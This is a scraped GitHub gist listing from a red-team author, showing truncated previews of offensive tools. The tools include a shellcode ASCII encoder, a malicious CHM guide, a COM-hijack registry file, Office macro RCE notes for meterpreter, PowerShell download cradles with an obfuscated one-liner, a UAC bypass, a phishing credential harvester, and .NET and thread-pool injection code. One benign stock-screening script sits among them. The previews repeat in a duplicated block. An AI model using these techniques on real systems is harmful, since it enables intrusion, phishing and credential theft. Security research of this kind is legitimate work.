Mariusz Banach mgeeky

## collect-gpw.py
#!/usr/bin/python

#
# Skrypt pobierajacy obecne wskazniki spolek ze strony GPW,
# po czym dla kazdej spolki wczytujacy parametry jej notowan i akcji
# ze strony Money.pl. Rezultatem dzialania sa dwa pliki CSV gotowe do zaimportowania
# i obrobienia w Excelu. Pierwszy plik - out.csv zawiera wszystkie dane spolek, drugi
# csv_filtered zawiera dane odfiltrowane po restrykcyjnych kryteriach Benjamina Grahama,
# autora Inteligentnego Inwestora.
#

## ascii-shellcode-encoder.py
#!/usr/bin/python
#
# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler`
# utility (as described in: Hacking - The Art of Exploitation).
#
# Basically one gives to the program's output a binary encoded shellcode,
# and it yields on the output it's ASCII encoded form.
#
# This payload will at the beginning align the stack by firstly moving

## Malicious-CHM-Guide.md

      
              1 file
            
          
              10 forks
            
          
              5 comments
            
          
              35 stars
            
          
                mgeeky
                / Malicious-CHM-Guide.md
            
            
              Created
              February 6, 2018 13:52
            
              
                CheatSheet describing how to create malicious CHM file by hand (another approach is to use Nishang's Out-Chm scriptlet).
              
          
    Procedure for generating Malicious CHM file


Step 0: Download and install Microsoft HTML Help Workshop and Documentation
Step 1: Obtain a valid CHM file and unpack it using 7-zip
Step 2: Find an entry-point HTML file within "docs" directory and insert the following code into it's <body> section:

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>


## slmgr-com-hijack.reg
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
@=""

[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
@="{00000001-0000-0000-0000-0000FEEDACDC}"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@="Scripting.Dictionary"

## Various-Macro-Based-RCEs.md

      
              1 file
            
          
              65 forks
            
          
              1 comment
            
          
              133 stars
            
          
                mgeeky
                / Various-Macro-Based-RCEs.md
            
            
              Last active
              January 14, 2024 16:43
            
              
                Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine.
              
          
    This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector.
Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.
All of the below examples had been generated for using as a remote address: 192.168.56.101.
List:

Page substiution macro for luring user to click Enable Content
The Unicorn Powershell based payload


## Download-Cradles-Oneliners.md

      
              1 file
            
          
              12 forks
            
          
              0 comments
            
          
              13 stars
            
          
                mgeeky
                / Download-Cradles-Oneliners.md
            
            
              Last active
              January 8, 2024 14:06
            
              
                Various Powershell Download Cradles purposed as one-liners
              
          
    Download Cradles

0) Extra goodies


Obfuscated FromBase64String with -bxor nice for dynamic strings deobfuscation:

$t=([type]('{1}{0}'-f'vert','Con'));($t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('Yk9CA05CA0hMV0I=')|%{$_-bxor35}|%{[char]$_})-join''


The same as above but for UTF-16 base64 encoded strings:


## uac-silentcleanupbypass.ps1
function UAC-SilentCleanupBypass {
    param(
        [Parameter(Mandatory = $True)]
        [String]$Command
    )

    $assemblies=(
    	"System"
    )

## post.php
<?php
    /*
     * PHP Script intdended to be used during Phishing attempts as a harverster
     * collector linked to backdoored HTML <form> action parameter. Such action
     * parameter could be set like this:
     *
     *  <form [...] action="/post.php" [...]>
     *
     * and script named as 'post.php' to get it working. Additional further configurations
     * can be made in the section below.

## _notes.md

      
              3 files
            
          
              1 fork
            
          
              0 comments
            
          
              0 stars
            
          
                mgeeky
                / _notes.md
            
            
              Created
              June 6, 2023 21:09
                — forked from djhohnstein/_notes.md
            
              
                AppDomainManager Injection
              
          
    Let's turn Any .NET Application into an LOL Bin

We can do this by experimenting with .config files.
Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name
In this example, we don't have to rename anything.  We simple coerce a trusted signed app to load our Assembly.
We do this by directing the application to read a config file we provide.

  
## Source.cpp
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

#define WORKER_FACTORY_FULL_ACCESS 0xf00ff

// https://github.com/winsiderss/systeminformer/blob/17fb2e0048f062a04394c4ccd615b611e6ffd45d/phnt/include/ntexapi.h#LL1096C1-L1115C52
typedef enum _WORKERFACTORYINFOCLASS
{
	WorkerFactoryTimeout, // LARGE_INTEGER
	#!/usr/bin/python

	#
	# Skrypt pobierajacy obecne wskazniki spolek ze strony GPW,
	# po czym dla kazdej spolki wczytujacy parametry jej notowan i akcji
	# ze strony Money.pl. Rezultatem dzialania sa dwa pliki CSV gotowe do zaimportowania
	# i obrobienia w Excelu. Pierwszy plik - out.csv zawiera wszystkie dane spolek, drugi
	# csv_filtered zawiera dane odfiltrowane po restrykcyjnych kryteriach Benjamina Grahama,
	# autora Inteligentnego Inwestora.
	#
	#!/usr/bin/python
	#
	# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
	# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler`
	# utility (as described in: Hacking - The Art of Exploitation).
	#
	# Basically one gives to the program's output a binary encoded shellcode,
	# and it yields on the output it's ASCII encoded form.
	#
	# This payload will at the beginning align the stack by firstly moving
	Windows Registry Editor Version 5.00

	[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
	@=""

	[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"

	[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
	@="Scripting.Dictionary"
	function UAC-SilentCleanupBypass {
	param(
	[Parameter(Mandatory = $True)]
	[String]$Command
	)

	$assemblies=(
	"System"
	)
	<?php
	/*
	* PHP Script intdended to be used during Phishing attempts as a harverster
	* collector linked to backdoored HTML <form> action parameter. Such action
	* parameter could be set like this:
	*
	* <form [...] action="/post.php" [...]>
	*
	* and script named as 'post.php' to get it working. Additional further configurations
	* can be made in the section below.
	#include <Windows.h>
	#include <winternl.h>
	#include <stdio.h>

	#define WORKER_FACTORY_FULL_ACCESS 0xf00ff

	// https://github.com/winsiderss/systeminformer/blob/17fb2e0048f062a04394c4ccd615b611e6ffd45d/phnt/include/ntexapi.h#LL1096C1-L1115C52
	typedef enum _WORKERFACTORYINFOCLASS
	{
	WorkerFactoryTimeout, // LARGE_INTEGER